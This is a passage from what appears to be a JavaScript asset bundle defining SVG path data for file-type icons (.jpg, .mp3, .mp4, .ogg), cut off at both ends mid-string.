38.539062 32.65625 C 38.289062 32.65625 38.070312 32.746094 37.882812 32.929688 C 37.695312 33.113281 37.601562 33.328125 37.601562 33.578125 C 37.601562 33.808594 37.679688 34.003906 37.835938 34.171875 L 41.101562 38.15625 L 37.695312 42.3125 C 37.539062 42.5 37.460938 42.699219 37.460938 42.90625 C 37.460938 43.15625 37.558594 43.371094 37.75 43.554688 C 37.941406 43.738281 38.164062 43.828125 38.414062 43.828125 C 38.675781 43.828125 38.898438 43.71875 39.085938 43.5 L 42.273438 39.5625 L 45.445312 43.5 C 45.644531 43.730469 45.871094 43.84375 46.132812 43.84375 Z M 46.132812 43.84375 "/>\n </g>'},jpgIcon:{extension:".jpg",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <use xlink:href="#surface9" mask="url(#mask0)"/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 8.789062 47.007812 L 9.488281 46.960938 C 12.214844 46.757812 13.578125 45.277344 13.578125 42.523438 L 13.578125 32.742188 C 13.578125 32.320312 13.453125 31.980469 13.195312 31.726562 C 12.941406 31.472656 12.59375 31.34375 12.15625 31.34375 C 11.734375 31.34375 11.394531 31.472656 11.140625 31.726562 C 10.886719 31.980469 10.757812 32.320312 10.757812 32.742188 L 10.757812 42.523438 C 10.757812 43.238281 10.605469 43.769531 10.296875 44.117188 C 9.992188 44.46875 9.539062 44.660156 8.941406 44.6875 L 8.242188 44.730469 C 7.847656 44.761719 7.558594 44.867188 7.378906 45.046875 C 7.195312 45.230469 7.105469 45.496094 7.105469 45.847656 C 7.105469 46.664062 7.667969 47.050781 8.789062 47.007812 Z M 18.304688 47.007812 C 18.742188 47.007812 19.089844 46.878906 19.34375 46.625 C 19.597656 46.367188 19.726562 46.023438 19.726562 45.585938 L 19.726562 40.882812 L 23.640625 40.882812 C 25.289062 40.882812 26.574219 40.464844 27.492188 39.632812 C 28.410156 38.804688 28.871094 37.644531 28.871094 36.15625 C 28.871094 34.667969 28.410156 33.511719 27.492188 32.6875 C 26.574219 31.863281 25.289062 31.453125 23.640625 31.453125 L 18.261719 31.453125 C 17.839844 31.453125 17.507812 31.570312 17.265625 31.804688 C 17.023438 32.035156 16.90625 32.363281 16.90625 32.789062 L 16.90625 45.585938 C 16.90625 46.023438 17.03125 46.367188 17.289062 46.625 C 17.542969 46.878906 17.882812 47.007812 18.304688 47.007812 Z M 23.292969 38.714844 L 19.726562 38.714844 L 19.726562 33.640625 L 23.292969 33.640625 C 25.230469 33.640625 26.203125 34.488281 26.203125 36.179688 C 26.203125 37.871094 25.230469 38.714844 23.292969 38.714844 Z M 38.605469 47.070312 C 39.320312 47.070312 40.0625 47.011719 40.835938 46.898438 C 41.609375 46.78125 42.285156 46.621094 42.871094 46.414062 C 43.410156 46.242188 43.765625 46.015625 43.941406 45.738281 C 44.117188 45.460938 44.203125 44.988281 44.203125 44.316406 L 44.203125 39.613281 C 44.203125 39.292969 44.101562 39.03125 43.898438 38.835938 C 43.695312 38.640625 43.425781 38.539062 43.089844 38.539062 L 39.21875 38.539062 C 38.867188 38.539062 38.59375 38.628906 38.398438 38.804688 C 38.199219 38.976562 38.101562 39.226562 38.101562 39.546875 C 38.101562 39.867188 38.199219 40.117188 38.398438 40.289062 C 38.59375 40.464844 38.867188 40.554688 39.21875 40.554688 L 41.6875 40.554688 L 41.6875 44.425781 C 40.699219 44.703125 39.707031 44.839844 38.714844 44.839844 C 35.390625 44.839844 33.726562 42.945312 33.726562 39.152344 C 33.726562 37.300781 34.132812 35.90625 34.941406 34.964844 C 35.75 34.023438 36.949219 33.554688 38.539062 33.554688 C 39.238281 33.554688 39.867188 33.644531 40.421875 33.828125 C 40.972656 34.007812 41.574219 34.324219 42.214844 34.777344 C 42.390625 34.894531 42.542969 34.980469 42.671875 35.03125 C 42.804688 35.082031 42.949219 35.105469 43.109375 35.105469 C 43.359375 35.105469 43.570312 34.996094 43.746094 34.777344 C 43.921875 34.558594 44.007812 34.289062 44.007812 33.96875 C 44.007812 33.75 43.96875 33.558594 43.886719 33.398438 C 43.808594 33.238281 43.679688 33.078125 43.503906 32.917969 C 42.191406 31.808594 40.507812 31.257812 38.453125 31.257812 C 36.90625 31.257812 35.5625 31.574219 34.425781 32.207031 C 33.289062 32.84375 32.410156 33.753906 31.789062 34.941406 C 31.171875 36.128906 30.859375 37.535156 30.859375 39.152344 C 30.859375 40.800781 31.171875 42.21875 31.789062 43.40625 C 32.410156 44.597656 33.304688 45.503906 34.46875 46.132812 C 35.636719 46.757812 37.015625 47.070312 38.605469 47.070312 Z M 38.605469 47.070312 "/>\n </g>'},mp3Icon:{extension:".mp3",path:'<g id="surface9" clip-path="url(#clip1)">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 43.828125 43.710938 C 43.605469 44.28125 43.273438 44.804688 42.84375 45.265625 C 42.40625 45.730469 41.867188 46.113281 41.242188 46.398438 C 40.597656 46.699219 39.851562 46.855469 39.027344 46.855469 C 38.328125 46.855469 37.703125 46.757812 37.160156 46.570312 C 36.609375 46.378906 36.160156 46.136719 35.769531 45.839844 C 35.386719 45.550781 35.050781 45.210938 34.796875 44.832031 C 34.570312 44.507812 34.394531 44.195312 34.265625 43.890625 C 34.140625 43.59375 34.054688 43.335938 33.996094 43.101562 C 33.792969 42.261719 34.304688 41.417969 35.140625 41.210938 C 35.980469 41.007812 36.828125 41.519531 37.03125 42.355469 C 37.039062 42.390625 37.066406 42.488281 37.144531 42.671875 C 37.191406 42.777344 37.265625 42.914062 37.371094 43.0625 C 37.4375 43.160156 37.53125 43.257812 37.65625 43.351562 C 37.792969 43.453125 37.972656 43.542969 38.195312 43.625 C 38.332031 43.667969 38.59375 43.730469 39.027344 43.730469 C 39.390625 43.730469 39.695312 43.675781 39.925781 43.566406 C 40.1875 43.445312 40.398438 43.300781 40.558594 43.132812 C 40.71875 42.957031 40.839844 42.773438 40.914062 42.578125 C 40.996094 42.371094 41.03125 42.195312 41.03125 42.023438 C 41.03125 41.789062 41 41.585938 40.921875 41.398438 C 40.871094 41.257812 40.785156 41.148438 40.660156 41.039062 C 40.515625 40.910156 40.296875 40.792969 40.011719 40.699219 C 39.6875 40.59375 39.253906 40.539062 38.738281 40.535156 C 37.882812 40.527344 37.1875 39.832031 37.1875 38.972656 L 37.1875 38.832031 C 37.1875 37.984375 37.859375 37.292969 38.699219 37.265625 C 39.070312 37.257812 39.398438 37.195312 39.679688 37.101562 C 39.921875 37.011719 40.121094 36.902344 40.273438 36.773438 C 40.40625 36.652344 40.507812 36.519531 40.582031 36.359375 C 40.652344 36.210938 40.6875 36.027344 40.6875 35.8125 C 40.6875 35.523438 40.644531 35.289062 40.574219 35.125 C 40.5 34.96875 40.414062 34.847656 40.304688 34.757812 C 40.1875 34.660156 40.042969 34.582031 39.867188 34.53125 C 39.402344 34.386719 38.878906 34.398438 38.480469 34.542969 C 38.289062 34.617188 38.121094 34.714844 37.976562 34.84375 C 37.820312 34.984375 37.695312 35.148438 37.59375 35.339844 C 37.484375 35.550781 37.40625 35.773438 37.367188 36.039062 C 37.230469 36.890625 36.429688 37.472656 35.574219 37.335938 C 34.722656 37.195312 34.140625 36.398438 34.28125 35.542969 C 34.378906 34.9375 34.5625 34.378906 34.835938 33.871094 C 35.109375 33.355469 35.464844 32.898438 35.890625 32.519531 C 36.320312 32.132812 36.824219 31.828125 37.382812 31.617188 C 38.433594 31.226562 39.667969 31.199219 40.78125 31.539062 C 41.351562 31.714844 41.863281 31.992188 42.308594 32.355469 C 42.777344 32.753906 43.148438 33.242188 43.414062 33.824219 C 43.679688 34.402344 43.8125 35.070312 43.8125 35.8125 C 43.8125 36.476562 43.679688 37.097656 43.421875 37.660156 C 43.25 38.046875 43.023438 38.394531 42.746094 38.707031 C 43.242188 39.148438 43.609375 39.671875 43.835938 40.261719 C 44.046875 40.804688 44.15625 41.398438 44.15625 42.023438 C 44.15625 42.578125 44.046875 43.148438 43.828125 43.710938 Z M 31.445312 38.492188 C 31.148438 39.140625 30.734375 39.703125 30.199219 40.164062 C 29.6875 40.605469 29.078125 40.957031 28.390625 41.199219 C 27.71875 41.4375 26.976562 41.5625 26.191406 41.5625 L 25 41.5625 L 25 45 C 25 45.859375 24.296875 46.5625 23.4375 46.5625 C 22.578125 46.5625 21.875 45.859375 21.875 45 L 21.875 32.8125 C 21.875 31.945312 22.578125 31.25 23.4375 31.25 L 26.191406 31.25 C 27.890625 31.25 29.257812 31.667969 30.253906 32.5 C 31.339844 33.398438 31.886719 34.714844 31.886719 36.40625 C 31.886719 37.148438 31.738281 37.851562 31.445312 38.492188 Z M 18.730469 45.210938 C 18.730469 46.070312 18.03125 46.773438 17.167969 46.773438 C 16.300781 46.773438 15.605469 46.070312 15.605469 45.210938 L 15.605469 39.28125 L 14.015625 43.140625 C 14.007812 43.164062 13.996094 43.191406 13.984375 43.214844 C 13.71875 43.777344 13.15625 44.117188 12.566406 44.117188 L 12.53125 44.117188 C 11.9375 44.117188 11.375 43.777344 11.109375 43.214844 L 11.082031 43.160156 L 9.339844 39.101562 L 9.339844 45.210938 C 9.339844 46.070312 8.640625 46.773438 7.777344 46.773438 C 6.910156 46.773438 6.214844 46.070312 6.214844 45.210938 L 6.214844 32.824219 C 6.214844 31.960938 6.910156 31.261719 7.777344 31.261719 L 7.835938 31.261719 C 8.472656 31.261719 9.046875 31.617188 9.335938 32.1875 L 12.527344 39.09375 L 15.59375 32.207031 C 15.894531 31.617188 16.46875 31.261719 17.105469 31.261719 L 17.167969 31.261719 C 18.03125 31.261719 18.730469 31.960938 18.730469 32.824219 Z M 41.382812 28.125 L 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.136719 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.136719 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 41.382812 28.125 "/>\n </g>\n </defs>\n <g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <use xlink:href="#surface9" mask="url(#mask0)"/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 28.257812 34.902344 C 27.835938 34.550781 27.140625 34.375 26.191406 34.375 L 25 34.375 L 25 38.4375 L 26.191406 38.4375 C 26.621094 38.4375 27.007812 38.375 27.34375 38.253906 C 27.667969 38.140625 27.929688 37.992188 28.148438 37.804688 C 28.34375 37.632812 28.492188 37.4375 28.601562 37.195312 C 28.710938 36.964844 28.757812 36.703125 28.757812 36.40625 C 28.757812 35.324219 28.382812 35.003906 28.257812 34.902344 "/>\n <path style="fill:none;stroke-width:1;stroke-linecap:round;stroke-linejoin:round;stroke:rgb(99.607843%,99.607843%,99.607843%);stroke-opacity:1;stroke-miterlimit:4;" d="M 11.34125 13.57875 C 11.345 13.5925 11.3525 13.62375 11.36375 13.67375 C 11.3775 13.7225 11.3975 13.78125 11.42625 13.85 C 11.45375 13.9175 11.49375 13.9875 11.54625 14.0625 C 11.5975 14.13875 11.66625 14.20875 11.75 14.27125 C 11.83375 14.33625 11.9375 14.38875 12.0575 14.43125 C 12.1775 14.4725 12.32 14.49375 12.4875 14.49375 C 12.67875 14.49375 12.845 14.46125 12.9875 14.39375 C 13.13 14.32875 13.24875 14.245 13.34375 14.1425 C 13.43875 14.0425 13.51125 13.93 13.55875 13.8075 C 13.6075 13.6825 13.63125 13.56375 13.63125 13.4475 C 13.63125 13.31125 13.6075 13.1825 13.5625 13.065 C 13.515 12.9475 13.4425 12.845 13.3425 12.7575 C 13.2425 12.67 13.115 12.6 12.96 12.55 C 12.805 12.49875 12.6175 12.4725 12.4 12.4725 L 12.4 12.42625 C 12.57 12.42 12.72375 12.3925 12.8625 12.34375 C 13.0025 12.29625 13.11875 12.2275 13.21625 12.14375 C 13.31375 12.05875 13.3875 11.96 13.44125 11.845 C 13.4925 11.7275 13.52 11.60125 13.52 11.46 C 13.52 11.29375 13.4925 11.1525 13.43875 11.0325 C 13.38375 10.91375 13.31125 10.81625 13.21875 10.74 C 13.1275 10.66375 13.0225 10.6075 12.90375 10.5725 C 12.78625 10.535 12.66375 10.5175 12.5375 10.5175 C 12.395 10.5175 12.26125 10.54 12.14 10.58625 C 12.0175 10.6325 11.91 10.69625 11.81875 10.77875 C 11.72625 10.8625 11.64875 10.96 11.5875 11.07375 C 11.5275 11.18875 11.48625 11.315 11.4625 11.45375 M 7.5 14.4 L 7.5 10.5 L 8.3825 10.5 C 8.8075 10.5 9.13375 10.595 9.3625 10.78375 C 9.59 10.975 9.7025 11.2625 9.7025 11.65 C 9.7025 11.81625 9.6725 11.97125 9.6075 12.11125 C 9.5425 12.2525 9.4525 12.37375 9.335 12.475 C 9.21875 12.5775 9.0775 12.65625 8.9175 12.71375 C 8.75625 12.77125 8.5775 12.8 8.3825 12.8 L 7.6 12.8 M 2.4875 14.4675 L 2.4875 10.50375 L 2.5075 10.50375 C 2.5225 10.50375 2.53375 10.5125 2.5425 10.52625 L 3.9925 13.58625 C 3.99875 13.5975 4.005 13.6075 4.00875 13.6175 M 4.02125 13.6175 C 4.02625 13.6075 4.03125 13.5975 4.0375 13.58625 L 5.44 10.52625 C 5.4475 10.5125 5.45875 10.50375 5.4725 10.50375 L 5.4925 10.50375 L 5.4925 14.4675 " transform="matrix(3.125,0,0,3.125,0,0)"/>\n </g>'},mp4Icon:{extension:".mp4",path:'<g id="surface6" clip-path="url(#clip1)">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 36.898438 40.625 L 40.625 35.480469 L 40.625 40.625 Z M 28.761719 36.40625 C 28.761719 36.703125 28.707031 36.964844 28.605469 37.195312 C 28.496094 37.433594 28.347656 37.632812 28.148438 37.804688 C 27.929688 37.992188 27.667969 38.144531 27.34375 38.257812 C 27.003906 38.375 26.621094 38.4375 26.191406 38.4375 L 25 38.4375 L 25 34.375 L 26.191406 34.375 C 27.140625 34.375 27.835938 34.554688 28.253906 34.902344 C 28.378906 35.007812 28.761719 35.324219 28.761719 36.40625 Z M 44.6875 43.75 L 43.75 43.75 L 43.75 45.3125 C 43.75 46.175781 43.050781 46.875 42.1875 46.875 C 41.324219 46.875 40.625 46.175781 40.625 45.3125 L 40.625 43.75 L 34.066406 43.75 C 33.199219 43.75 32.503906 43.050781 32.503906 42.1875 L 32.503906 41.875 C 32.503906 41.546875 32.605469 41.226562 32.800781 40.957031 L 39.363281 31.898438 C 39.660156 31.492188 40.128906 31.25 40.628906 31.25 L 42.1875 31.25 C 43.050781 31.25 43.75 31.949219 43.75 32.8125 L 43.75 40.625 L 44.6875 40.625 C 45.550781 40.625 46.25 41.324219 46.25 42.1875 C 46.25 43.050781 45.550781 43.75 44.6875 43.75 Z M 31.445312 38.492188 C 31.148438 39.140625 30.730469 39.703125 30.195312 40.167969 C 29.6875 40.605469 29.082031 40.957031 28.390625 41.203125 C 27.71875 41.441406 26.976562 41.5625 26.191406 41.5625 L 25 41.5625 L 25 45 C 25 45.863281 24.300781 46.5625 23.4375 46.5625 C 22.578125 46.5625 21.875 45.863281 21.875 45 L 21.875 32.8125 C 21.875 31.949219 22.578125 31.25 23.4375 31.25 L 26.191406 31.25 C 27.890625 31.25 29.257812 31.671875 30.253906 32.5 C 31.339844 33.398438 31.886719 34.714844 31.886719 36.40625 C 31.886719 37.148438 31.738281 37.851562 31.445312 38.492188 Z M 18.730469 45.210938 C 18.730469 46.070312 18.027344 46.773438 17.167969 46.773438 C 16.300781 46.773438 15.605469 46.070312 15.605469 45.210938 L 15.605469 39.6875 L 14.035156 43.105469 C 14.019531 43.144531 14.003906 43.179688 13.984375 43.214844 C 13.71875 43.78125 13.15625 44.117188 12.566406 44.117188 L 12.53125 44.117188 C 11.941406 44.117188 11.378906 43.78125 11.113281 43.214844 C 11.097656 43.183594 11.078125 43.152344 11.066406 43.125 L 9.339844 39.484375 L 9.339844 45.210938 C 9.339844 46.070312 8.640625 46.773438 7.777344 46.773438 C 6.910156 46.773438 6.214844 46.070312 6.214844 45.210938 L 6.214844 32.824219 C 6.214844 31.960938 6.910156 31.261719 7.777344 31.261719 L 7.835938 31.261719 C 8.472656 31.261719 9.046875 31.617188 9.335938 32.191406 L 9.355469 32.226562 L 12.523438 38.90625 L 15.578125 32.242188 C 15.585938 32.226562 15.597656 32.210938 15.605469 32.191406 C 15.894531 31.617188 16.46875 31.261719 17.105469 31.261719 L 17.164062 31.261719 C 18.027344 31.261719 18.726562 31.960938 18.726562 32.824219 L 18.726562 45.210938 Z M 41.382812 28.125 L 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 41.382812 28.125 "/>\n </g>\n </defs>\n <g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <use xlink:href="#surface6" mask="url(#mask0)"/>\n <path style="fill:none;stroke-width:1;stroke-linecap:round;stroke-linejoin:round;stroke:rgb(99.607843%,99.607843%,99.607843%);stroke-opacity:1;stroke-miterlimit:4;" d="M 14.3 13.5 L 10.90125 13.5 L 10.90125 13.4 L 13.00125 10.5 L 13.5 10.5 L 13.5 14.5 M 7.5 14.4 L 7.5 10.5 L 8.3825 10.5 C 8.8075 10.5 9.13375 10.595 9.3625 10.78375 C 9.59 10.975 9.7025 11.2625 9.7025 11.65 C 9.7025 11.81625 9.6725 11.97125 9.6075 12.11125 C 9.5425 12.2525 9.4525 12.37375 9.335 12.47625 C 9.21875 12.5775 9.0775 12.65625 8.9175 12.71375 C 8.75625 12.77125 8.5775 12.8 8.3825 12.8 L 7.6 12.8 M 2.4875 14.4675 L 2.4875 10.50375 L 2.5075 10.50375 C 2.5225 10.50375 2.53375 10.5125 2.5425 10.52625 L 3.9925 13.58625 C 3.99875 13.5975 4.005 13.6075 4.00875 13.6175 M 4.02125 13.6175 C 4.02625 13.6075 4.03125 13.5975 4.0375 13.58625 L 5.44 10.52625 C 5.4475 10.5125 5.45875 10.50375 5.4725 10.50375 L 5.4925 10.50375 L 5.4925 14.4675 " transform="matrix(3.125,0,0,3.125,0,0)"/>\n </g>'},oggIcon:{extension:".ogg",path:'<g id="surface9" clip-path="url(#clip1)">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n </g>\n </defs>\n <g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <use xlink:href="#surface9" mask="url(#mask0)"/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 8.976562 47.070312 C 10.464844 47.070312 11.757812 46.75 12.859375 46.109375 C 13.960938 45.46875 14.808594 44.550781 15.40625 43.351562 C 16.003906 42.15625 16.304688 40.757812 16.304688 39.152344 C 16.304688 37.550781 16.007812 36.152344 15.417969 34.964844 C 14.828125 33.777344 13.980469 32.859375 12.882812 32.21875 C 11.78125 31.578125 10.480469 31.257812 8.976562 31.257812 C 7.472656 31.257812 6.167969 31.578125 5.0625 32.21875 C 3.953125 32.859375 3.101562 33.777344 2.511719 34.964844 C 1.921875 36.152344 1.625 37.550781 1.625 39.152344 C 1.625 40.757812 1.925781 42.15625 2.523438 43.351562 C 3.121094 44.550781 3.972656 45.46875 5.070312 46.109375 C 6.171875 46.75 7.472656 47.070312 8.976562 47.070312 Z M 8.976562 44.820312 C 7.546875 44.820312 6.433594 44.332031 5.640625 43.351562 C 4.847656 42.375 4.449219 40.976562 4.449219 39.152344 C 4.449219 37.332031 4.847656 35.933594 5.640625 34.964844 C 6.433594 33.996094 7.546875 33.507812 8.976562 33.507812 C 10.390625 33.507812 11.496094 33.996094 12.289062 34.964844 C 13.085938 35.933594 13.484375 37.332031 13.484375 39.152344 C 13.484375 40.976562 13.085938 42.375 12.289062 43.351562 C 11.496094 44.332031 10.390625 44.820312 8.976562 44.820312 Z M 26.410156 47.070312 C 27.125 47.070312 27.871094 47.011719 28.640625 46.898438 C 29.414062 46.78125 30.09375 46.621094 30.675781 46.414062 C 31.214844 46.242188 31.574219 46.015625 31.75 45.738281 C 31.921875 45.460938 32.011719 44.988281 32.011719 44.316406 L 32.011719 39.613281 C 32.011719 39.292969 31.910156 39.03125 31.703125 38.835938 C 31.5 38.640625 31.230469 38.539062 30.894531 38.539062 L 27.023438 38.539062 C 26.671875 38.539062 26.398438 38.628906 26.203125 38.804688 C 26.007812 38.976562 25.90625 39.226562 25.90625 39.546875 C 25.90625 39.867188 26.007812 40.117188 26.203125 40.289062 C 26.398438 40.464844 26.671875 40.554688 27.023438 40.554688 L 29.496094 40.554688 L 29.496094 44.425781 C 28.503906 44.703125 27.511719 44.839844 26.519531 44.839844 C 23.195312 44.839844 21.53125 42.945312 21.53125 39.152344 C 21.53125 37.300781 21.9375 35.90625 22.746094 34.964844 C 23.554688 34.023438 24.753906 33.554688 26.34375 33.554688 C 27.046875 33.554688 27.671875 33.644531 28.226562 33.828125 C 28.78125 34.007812 29.378906 34.324219 30.019531 34.777344 C 30.195312 34.894531 30.347656 34.980469 30.480469 35.03125 C 30.609375 35.082031 30.757812 35.105469 30.917969 35.105469 C 31.164062 35.105469 31.375 34.996094 31.550781 34.777344 C 31.726562 34.558594 31.8125 34.289062 31.8125 33.96875 C 31.8125 33.75 31.773438 33.558594 31.695312 33.398438 C 31.613281 33.238281 31.484375 33.078125 31.3125 32.917969 C 30 31.808594 28.3125 31.257812 26.257812 31.257812 C 24.710938 31.257812 23.371094 31.574219 22.234375 32.207031 C 21.09375 32.84375 20.214844 33.753906 19.597656 34.941406 C 18.976562 36.128906 18.667969 37.535156 18.667969 39.152344 C 18.667969 40.800781 18.976562 42.21875 19.597656 43.40625 C 20.214844 44.597656 21.109375 45.503906 22.277344 46.132812 C 23.441406 46.757812 24.820312 47.070312 26.410156 47.070312 Z M 42.445312 47.070312 C 43.160156 47.070312 43.902344 47.011719 44.675781 46.898438 C 45.449219 46.78125 46.128906 46.621094 46.710938 46.414062 C 47.25 46.242188 47.609375 46.015625 47.78125 45.738281 C 47.957031 45.460938 48.046875 44.988281 48.046875 44.316406 L 48.046875 39.613281 C 48.046875 39.292969 47.941406 39.03125 47.738281 38.835938 C 47.535156 38.640625 47.265625 38.539062 46.929688 38.539062 L 43.058594 38.539062 C 42.707031 38.539062 42.433594 38.628906 42.238281 38.804688 C 42.039062 38.976562 41.941406 39.226562 41.941406 39.546875 C 41.941406 39.867188 42.039062 40.117188 42.238281 40.289062 C 42.433594 40.464844 42.707031 40.554688 43.058594 40.554688 L 45.53125 40.554688 L 45.53125 44.425781 C 44.539062 44.703125 43.546875 44.839844 42.554688 44.839844 C 39.230469 44.839844 37.566406 42.945312 37.566406 39.152344 C 37.566406 37.300781 37.972656 35.90625 38.78125 34.964844 C 39.589844 34.023438 40.789062 33.554688 42.378906 33.554688 C 43.078125 33.554688 43.707031 33.644531 44.261719 33.828125 C 44.816406 34.007812 45.414062 34.324219 46.054688 34.777344 C 46.230469 34.894531 46.382812 34.980469 46.515625 35.03125 C 46.644531 35.082031 46.792969 35.105469 46.953125 35.105469 C 47.199219 35.105469 47.410156 34.996094 47.585938 34.777344 C 47.761719 34.558594 47.847656 34.289062 47.847656 33.96875 C 47.847656 33.75 47.808594 